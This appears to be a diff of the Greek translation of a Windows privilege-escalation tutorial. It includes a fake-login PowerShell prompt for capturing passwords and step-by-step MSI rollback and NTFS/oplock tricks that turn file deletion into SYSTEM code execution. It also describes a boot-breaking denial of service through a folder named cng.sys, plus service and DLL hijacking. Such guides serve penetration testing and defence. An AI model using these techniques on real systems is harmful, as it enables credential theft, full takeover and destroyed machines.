μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα. -Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας. +Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά αποθηκευμένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας. Αναζητήστε σε `C:\ProgramData\Microsoft\Group Policy\history` ή σε _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (προτού το W Vista)_ για αυτά τα αρχεία: @@ -1067,7 +1072,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Ζητήστε διαπιστευτήρια -Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμη και τα διαπιστευτήρια ενός διαφορετικού χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι **η απευθείας ζήτηση** από τον πελάτη για τα **διαπιστευτήρια** είναι πραγματικά **επικίνδυνη**): +Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμη και τα διαπιστευτήρια ενός διαφορετικού χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το **να ζητάτε** απευθείας από τον πελάτη τα **διαπιστευτήρια** είναι πραγματικά **επικίνδυνο**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1185,7 +1190,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από **HKEY\CLASSES\ROOT\CLSID** και **HKEY\CLASSES\ROOT\Interface** αντίστοιχα. Αυτό το μητρώο δημιουργείται συγχωνεύοντας το **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Μέσα στους CLSIDs αυτού του μητρώου μπορείτε να βρείτε το υποκατάστημα μητρώου **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματική), **Free** (Πολυνηματική), **Both** (Μονοή Πολυ) ή **Neutral** (Ουδέτερη Νήμα). +Μέσα στα CLSIDs αυτού του μητρώου μπορείτε να βρείτε το υποκατάστημα μητρώου **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματική), **Free** (Πολυνηματική), **Both** (Μονοή Πολυ) ή **Neutral** (Ουδέτερη Νήμα). ![](<../../images/image (729).png>) @@ -1193,6 +1198,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" Για να μάθετε πώς οι επιτιθέμενοι χρησιμοποιούν το COM Hijacking ως μηχανισμό επιμονής, ελέγξτε: + {{#ref}} com-hijacking.md {{#endref}} @@ -1231,30 +1237,30 @@ Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` -## Διαρρεύσαντες Χειριστές +## Leaked Handlers -Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλους τους ανοιχτούς χειριστές της κύριας διαδικασίας**.\ -Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε τον **ανοιχτό χειριστή της διαδικασίας με δικαιώματα** που δημιουργήθηκε με `OpenProcess()` και **να εισάγετε ένα shellcode**.\ -[Διαβάστε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με **το πώς να ανιχνεύσετε και να εκμεταλλευτείτε αυτήν την ευπάθεια**.](leaked-handle-exploitation.md)\ -[Διαβάστε αυτήν την **άλλη ανάρτηση για μια πιο ολοκληρωμένη εξήγηση σχετικά με το πώς να δοκιμάσετε και να εκμεταλλευτείτε περισσότερους ανοιχτούς χειριστές διαδικασιών και νημάτων που κληρονομούνται με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο πλήρη πρόσβαση)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\ +Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα που δημιουργήθηκε** με `OpenProcess()` και **να εισάγετε ένα shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). -## Υποκατάσταση Πελάτη Named Pipe +## Named Pipe Client Impersonation Τα τμήματα κοινής μνήμης, που αναφέρονται ως **pipes**, επιτρέπουν την επικοινωνία και τη μεταφορά δεδομένων μεταξύ διαδικασιών. -Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε άσχετες διαδικασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως **διακομιστής named pipe** και **πελάτης named pipe**. +Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε άσχετες διαδικασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με μια αρχιτεκτονική πελάτη/διακομιστή, με ρόλους που ορίζονται ως **named pipe server** και **named pipe client**. -Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**εδώ**](named-pipe-client-impersonation.md) και [**εδώ**](#from-high-integrity-to-system). +Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **πελάτη**, ο **διακομιστής** που έχει ρυθμίσει το pipe έχει τη δυνατότητα να **αναλάβει την ταυτότητα** του **πελάτη**, εφόσον έχει τα απαραίτητα δικαιώματα **SeImpersonate**. Η αναγνώριση μιας **προνομιούχου διαδικασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε παρέχει μια ευκαιρία να **κερδίσετε υψηλότερα δικαιώματα** υιοθετώντας την ταυτότητα αυτής της διαδικασίας μόλις αλληλεπιδράσει με το pipe που έχετε δημιουργήσει. Για οδηγίες σχετικά με την εκτέλεση μιας τέτοιας επίθεσης, μπορείτε να βρείτε χρήσιμες οδηγίες [**here**](named-pipe-client-impersonation.md) και [**here**](#from-high-integrity-to-system). -Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρεμβάλλετε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλους τους pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Επίσης, το παρακάτω εργαλείο επιτρέπει να **παρακολουθείτε μια επικοινωνία named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράφετε και να βλέπετε όλα τα pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Διάφορα +## Misc -### Επεκτάσεις Αρχείων που θα μπορούσαν να εκτελούν πράγματα στα Windows +### File Extensions that could execute stuff in Windows -Δείτε τη σελίδα **[https://filesec.io/](https://filesec.io/)** +Check out the page **[https://filesec.io/](https://filesec.io/)** -### **Παρακολούθηση Γραμμών Εντολών για κωδικούς πρόσβασης** +### **Monitoring Command Lines for passwords** Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένα καθήκοντα ή άλλες διαδικασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το παρακάτω σενάριο καταγράφει τις γραμμές εντολών διαδικασίας κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη κατάσταση, εξάγοντας τυχόν διαφορές. ```bash @@ -1268,11 +1274,11 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Κλοπή κωδικών πρόσβασης από διεργασίες -## Από Χρήστη Χαμηλών Δικαιωμάτων σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC +## Από Χαμηλό Προνομιακό Χρήστη σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / Παράκαμψη UAC -Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατή η εκτέλεση ενός τερματικού ή οποιασδήποτε άλλης διεργασίας όπως "NT\AUTHORITY SYSTEM" από έναν χρήστη χωρίς δικαιώματα. +Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω κονσόλας ή RDP) και η UAC είναι ενεργοποιημένη, σε ορισμένες εκδόσεις των Microsoft Windows είναι δυνατή η εκτέλεση ενός τερματικού ή οποιασδήποτε άλλης διεργασίας όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιακό χρήστη. -Αυτό καθιστά δυνατή την κλιμάκωση δικαιωμάτων και την παράκαμψη της UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν χρειάζεται να εγκαταστήσετε τίποτα και το δυαδικό αρχείο που χρησιμοποιείται κατά τη διαδικασία είναι υπογεγραμμένο και εκδοθέν από τη Microsoft. +Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη της UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν χρειάζεται να εγκαταστήσετε τίποτα και το δυαδικό αρχείο που χρησιμοποιείται κατά τη διάρκεια της διαδικασίας είναι υπογεγραμμένο και εκδοθέν από τη Microsoft. Ορισμένα από τα επηρεαζόμενα συστήματα είναι τα εξής: ``` @@ -1318,35 +1324,198 @@ Windows 10 1709 16299 link NOT opened https://github.com/jas502n/CVE-2019-1388 -## Από Administrator Medium σε High Integrity Level / UAC Bypass +## Από το Medium σε High Integrity Level / UAC Bypass Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**: + {{#ref}} integrity-levels.md {{#endref}} Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:** + {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## **Από High Integrity σε System** +## Από Arbitrary Folder Delete/Move/Rename σε SYSTEM EoP + +Η τεχνική που περιγράφεται [**σε αυτή την ανάρτηση blog**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) με κώδικα εκμετάλλευσης [**διαθέσιμο εδώ**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). + +Η επίθεση βασικά συνίσταται στην εκμετάλλευση της δυνατότητας rollback του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διάρκεια της διαδικασίας απεγκατάστασης. Για αυτό, ο επιτιθέμενος πρέπει να δημιουργήσει έναν **κακόβουλο MSI installer** που θα χρησιμοποιηθεί για να καταλάβει τον φάκελο `C:\Config.Msi`, ο οποίος θα χρησιμοποιηθεί αργότερα από τον Windows Installer για να αποθηκεύσει αρχεία rollback κατά την απεγκατάσταση άλλων πακέτων MSI όπου τα αρχεία rollback θα είχαν τροποποιηθεί για να περιέχουν το κακόβουλο payload. + +Η συνοπτική τεχνική είναι η εξής: + +1. **Stage 1 – Προετοιμασία για την Κατάληψη (αφήστε το `C:\Config.Msi` κενό)** + +- Βήμα 1: Εγκαταστήστε το MSI +- Δημιουργήστε ένα `.msi` που εγκαθιστά ένα αβλαβές αρχείο (π.χ., `dummy.txt`) σε έναν εγγράψιμο φάκελο (`TARGETDIR`). +- Σημειώστε τον εγκαταστάτη ως **"UAC Compliant"**, ώστε ένας **μη διαχειριστής χρήστης** να μπορεί να το εκτελέσει. +- Κρατήστε ένα **handle** ανοιχτό στο αρχείο μετά την εγκατάσταση. + +- Βήμα 2: Ξεκινήστε την Απεγκατάσταση +- Απεγκαταστήστε το ίδιο `.msi`. +- Η διαδικασία απεγκατάστασης αρχίζει να μετακινεί αρχεία στο `C:\Config.Msi` και να τα μετονομάζει σε αρχεία `.rbf` (rollback backups). +- **Poll the open file handle** χρησιμοποιώντας `GetFinalPathNameByHandle` για να ανιχνεύσετε πότε το αρχείο γίνεται `C:\Config.Msi\.rbf`. + +- Βήμα 3: Προσαρμοσμένος Συγχρονισμός +- Το `.msi` περιλαμβάνει μια **προσαρμοσμένη ενέργεια απεγκατάστασης (`SyncOnRbfWritten`)** που: +- Σηματοδοτεί πότε το `.rbf` έχει γραφτεί. +- Στη συνέχεια **περιμένει** σε ένα άλλο γεγονός πριν συνεχίσει την απεγκατάσταση. + +- Βήμα 4: Αποκλεισμός Διαγραφής του `.rbf` +- Όταν σηματοδοτηθεί, **ανοίξτε το αρχείο `.rbf`** χωρίς `FILE_SHARE_DELETE` — αυτό **αποτρέπει τη διαγραφή του**. +- Στη συνέχεια **σηματοδοτήστε πίσω** ώστε η απεγκατάσταση να μπορεί να ολοκληρωθεί. +- Ο Windows Installer αποτυγχάνει να διαγράψει το `.rbf`, και επειδή δεν μπορεί να διαγράψει όλα τα περιεχόμενα, **το `C:\Config.Msi` δεν αφαιρείται**. + +- Βήμα 5: Διαγράψτε το `.rbf` Χειροκίνητα +- Εσείς (επιτιθέμενος) διαγράφετε το αρχείο `.rbf` χειροκίνητα. +- Τώρα **το `C:\Config.Msi` είναι κενό**, έτοιμο να καταληφθεί. + +> Σε αυτό το σημείο, **ενεργοποιήστε την ευπάθεια διαγραφής αυθαίρετου φακέλου σε επίπεδο SYSTEM** για να διαγράψετε το `C:\Config.Msi`. + +2. **Stage 2 – Αντικατάσταση Rollback Scripts με Κακόβουλα** + +- Βήμα 6: Αναδημιουργία του `C:\Config.Msi` με Αδύνατα ACLs +- Αναδημιουργήστε τον φάκελο `C:\Config.Msi` μόνοι σας. +- Ορίστε **αδύνατα DACLs** (π.χ., Everyone:F), και **κρατήστε ένα handle ανοιχτό** με `WRITE_DAC`. + +- Βήμα 7: Εκτελέστε Μια Άλλη Εγκατάσταση +- Εγκαταστήστε ξανά το `.msi`, με: +- `TARGETDIR`: Εγγράψιμη τοποθεσία. +- `ERROROUT`: Μια μεταβλητή που ενεργοποιεί μια αναγκαστική αποτυχία. +- Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να ενεργοποιήσει ξανά το **rollback**, το οποίο διαβάζει `.rbs` και `.rbf`. + +- Βήμα 8: Παρακολουθήστε για `.rbs` +- Χρησιμοποιήστε `ReadDirectoryChangesW` για να παρακολουθήσετε το `C:\Config.Msi` μέχρι να εμφανιστεί ένα νέο `.rbs`. +- Καταγράψτε το όνομα αρχείου του. + +- Βήμα 9: Συγχρονισμός Πριν το Rollback +- Το `.msi` περιέχει μια **προσαρμοσμένη ενέργεια εγκατάστασης (`SyncBeforeRollback`)** που: +- Σηματοδοτεί ένα γεγονός όταν το `.rbs` δημιουργείται. +- Στη συνέχεια **περιμένει** πριν συνεχίσει. + +- Βήμα 10: Επαναφορά Αδύνατου ACL +- Μετά την λήψη του γεγονότος `.rbs created`: +- Ο Windows Installer **επαναφέρει ισχυρά ACLs** στο `C:\Config.Msi`. +- Αλλά καθώς έχετε ακόμα ένα handle με `WRITE_DAC`, μπορείτε να **επαναφέρετε αδύνατα ACLs** ξανά. + +> Τα ACLs **επιβάλλονται μόνο κατά το άνοιγμα του handle**, οπότε μπορείτε ακόμα να γράψετε στον φάκελο. + +- Βήμα 11: Ρίξτε Ψεύτικο `.rbs` και `.rbf` +- Επικαλύψτε το αρχείο `.rbs` με ένα **ψεύτικο rollback script** που λέει στα Windows να: +- Επαναφέρει το αρχείο `.rbf` σας (κακόβουλο DLL) σε μια **προνομιούχα τοποθεσία** (π.χ., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Ρίξτε το ψεύτικο `.rbf` σας που περιέχει ένα **κακόβουλο payload DLL σε επίπεδο SYSTEM**. + +- Βήμα 12: Ενεργοποιήστε το Rollback +- Σηματοδοτήστε το γεγονός συγχρονισμού ώστε ο εγκαταστάτης να συνεχίσει. +- Μια **τύπου 19 προσαρμοσμένη ενέργεια (`ErrorOut`)** είναι ρυθμισμένη να **αποτυγχάνει σκόπιμα την εγκατάσταση** σε ένα γνωστό σημείο. +- Αυτό προκαλεί **την αρχή του rollback**. + +- Βήμα 13: Ο SYSTEM Εγκαθιστά το DLL σας +- Ο Windows Installer: +- Διαβάζει το κακόβουλο `.rbs` σας. +- Αντιγράφει το DLL `.rbf` σας στην στοχοθετημένη τοποθεσία. +- Τώρα έχετε το **κακόβουλο DLL σε μια διαδρομή φορτωμένη από το SYSTEM**. + +- Τελικό Βήμα: Εκτελέστε Κωδικό SYSTEM +- Εκτελέστε ένα αξιόπιστο **auto-elevated binary** (π.χ., `osk.exe`) που φορτώνει το DLL που καταλάβατε. +- **Boom**: Ο κωδικός σας εκτελείται **ως SYSTEM**. + + +### Από Arbitrary File Delete/Move/Rename σε SYSTEM EoP + +Η κύρια τεχνική rollback MSI (η προηγούμενη) υποθέτει ότι μπορείτε να διαγράψετε έναν **ολόκληρο φάκελο** (π.χ., `C:\Config.Msi`). Αλλά τι γίνεται αν η ευπάθειά σας επιτρέπει μόνο **αυθαίρετη διαγραφή αρχείων**; + +Θα μπορούσατε να εκμεταλλευτείτε **εσωτερικά του NTFS**: κάθε φάκελος έχει ένα κρυφό εναλλακτικό ρεύμα δεδομένων που ονομάζεται: +``` +C:\SomeFolder::$INDEX_ALLOCATION +``` +Αυτή η ροή αποθηκεύει τα **μεταδεδομένα ευρετηρίου** του φακέλου. + +Έτσι, αν **διαγράψετε τη ροή `::$INDEX_ALLOCATION`** ενός φακέλου, το NTFS **αφαιρεί ολόκληρο τον φάκελο** από το σύστημα αρχείων. + +Μπορείτε να το κάνετε αυτό χρησιμοποιώντας τις τυπικές APIs διαγραφής αρχείων όπως: +```c +DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); +``` +> Ακόμα και αν καλείτε μια API διαγραφής *αρχείου*, **διαγράφει τον φάκελο αυτόν καθαυτό**. + +### Από τη Διαγραφή Περιεχομένων Φακέλου σε SYSTEM EoP +Τι γίνεται αν η πρωτοβουλία σας δεν επιτρέπει να διαγράφετε αυθαίρετα αρχεία/φακέλους, αλλά **επιτρέπει τη διαγραφή των *περιεχομένων* ενός φακέλου που ελέγχεται από τον επιτιθέμενο**; + +1. Βήμα 1: Ρυθμίστε έναν φάκελο και ένα αρχείο δόλωμα +- Δημιουργήστε: `C:\temp\folder1` +- Μέσα σε αυτό: `C:\temp\folder1\file1.txt` + +2. Βήμα 2: Τοποθετήστε μια **oplock** στο `file1.txt` +- Η oplock **παγώνει την εκτέλεση** όταν μια προνομιακή διαδικασία προσπαθεί να διαγράψει το `file1.txt`. +```c +// pseudo-code +RequestOplock("C:\\temp\\folder1\\file1.txt"); +WaitForDeleteToTriggerOplock(); +``` +3. Βήμα 3: Ενεργοποίηση της διαδικασίας SYSTEM (π.χ., `SilentCleanup`) +- Αυτή η διαδικασία σαρώνει φακέλους (π.χ., `%TEMP%`) και προσπαθεί να διαγράψει το περιεχόμενό τους. +- Όταν φτάσει στο `file1.txt`, οι **oplock ενεργοποιούνται** και παραδίδουν τον έλεγχο στην callback σας. + +4. Βήμα 4: Μέσα στην callback του oplock – ανακατεύθυνση της διαγραφής + +- Επιλογή A: Μετακίνηση του `file1.txt` αλλού +- Αυτό αδειάζει το `folder1` χωρίς να σπάσει το oplock. +- Μην διαγράφετε το `file1.txt` απευθείας — αυτό θα απελευθέρωνε το oplock πρόωρα. + +- Επιλογή B: Μετατροπή του `folder1` σε **junction**: +```bash +# folder1 is now a junction to \RPC Control (non-filesystem namespace) +mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control +``` +- Επιλογή C: Δημιουργήστε ένα **symlink** στο `\RPC Control`: +```bash +# Make file1.txt point to a sensitive folder stream +CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") +``` +> Αυτό στοχεύει στην εσωτερική ροή NTFS που αποθηκεύει μεταδεδομένα φακέλου — η διαγραφή της διαγράφει τον φάκελο. + +5. Βήμα 5: Απελευθέρωση του oplock +- Η διαδικασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει `file1.txt`. +- Αλλά τώρα, λόγω της διασταύρωσης + symlink, στην πραγματικότητα διαγράφει: +``` +C:\Config.Msi::$INDEX_ALLOCATION +``` +**Αποτέλεσμα**: `C:\Config.Msi` διαγράφεται από το SYSTEM. + +### Από Δημιουργία Αυθαίρετης Φακέλου σε Μόνιμο DoS + +Εκμεταλλευτείτε μια πρωτογενή δυνατότητα που σας επιτρέπει να **δημιουργήσετε έναν αυθαίρετο φάκελο ως SYSTEM/admin** — ακόμη και αν **δεν μπορείτε να γράψετε αρχεία** ή **να ορίσετε αδύναμες άδειες**. + +Δημιουργήστε έναν **φάκελο** (όχι ένα αρχείο) με το όνομα ενός **κριτικού οδηγού των Windows**, π.χ.: +``` +C:\Windows\System32\cng.sys +``` +- Αυτός ο δρόμος κανονικά αντιστοιχεί στον `cng.sys` οδηγό λειτουργικού πυρήνα. +- Αν **δημιουργήσετε εκ των προτέρων έναν φάκελο**, τα Windows αποτυγχάνουν να φορτώσουν τον πραγματικό οδηγό κατά την εκκίνηση. +- Στη συνέχεια, τα Windows προσπαθούν να φορτώσουν το `cng.sys` κατά την εκκίνηση. +- Βλέπει τον φάκελο, **αποτυγχάνει να επιλύσει τον πραγματικό οδηγό**, και **καταρρέει ή σταματά την εκκίνηση**. +- Δεν υπάρχει **εναλλακτική λύση**, και **καμία αποκατάσταση** χωρίς εξωτερική παρέμβαση (π.χ., επισκευή εκκίνησης ή πρόσβαση σε δίσκο). + +## **Από Υψηλή Ακεραιότητα σε Σύστημα** ### **Νέα υπηρεσία** -Εάν ήδη εκτελείτε μια διαδικασία High Integrity, ο **δρόμος προς το SYSTEM** μπορεί να είναι εύκολος απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**: +Αν ήδη εκτελείστε σε μια διαδικασία Υψηλής Ακεραιότητας, ο **δρόμος προς το SYSTEM** μπορεί να είναι εύκολος απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` -> [!NOTE] +> [!TIP] > Όταν δημιουργείτε ένα δυαδικό αρχείο υπηρεσίας, βεβαιωθείτε ότι είναι έγκυρη υπηρεσία ή ότι το δυαδικό αρχείο εκτελεί τις απαραίτητες ενέργειες γρήγορα, καθώς θα τερματιστεί σε 20 δευτερόλεπτα αν δεν είναι έγκυρη υπηρεσία. ### AlwaysInstallElevated -Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να προσπαθήσετε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\ +Από μια διαδικασία Υψηλής Ακεραιότητας, μπορείτε να **ενεργοποιήσετε τις καταχωρίσεις μητρώου AlwaysInstallElevated** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\ [Περισσότερες πληροφορίες σχετικά με τα κλειδιά μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα _.msi_ πακέτο εδώ.](#alwaysinstallelevated) ### Υψηλό + SeImpersonate δικαίωμα στο Σύστημα @@ -1361,13 +1530,13 @@ sc start newservicename ### **Named Pipes** -Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα **`SeImpersonate`** θα μπορεί να **υποδυθεί το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας δικαιώματα SYSTEM.\ +Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψει σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα **`SeImpersonate`** θα μπορεί να **υποδυθεί το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας δικαιώματα SYSTEM.\ Αν θέλετε να [**μάθετε περισσότερα για τους ονομαστούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](#named-pipe-client-impersonation).\ Αν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε Σύστημα χρησιμοποιώντας ονομαστούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Αν καταφέρετε να **καταχραστείτε μια dll** που φορτώνεται από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος κλιμάκωσης δικαιωμάτων και, επιπλέον, είναι **πολύ πιο εύκολο να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας**, καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\ +Αν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος κλιμάκωσης δικαιωμάτων και, επιπλέον, είναι **πολύ πιο εύκολο να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\ **Μπορείτε** [**να μάθετε περισσότερα για το Dll hijacking εδώ**](dll-hijacking/index.html)**.** ### **Από Διαχειριστή ή Υπηρεσία Δικτύου σε Σύστημα** @@ -1394,10 +1563,10 @@ sc start newservicename [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Ελέγξτε για κακή διαμόρφωση και ευαίσθητα αρχεία (**[**ελέγξτε 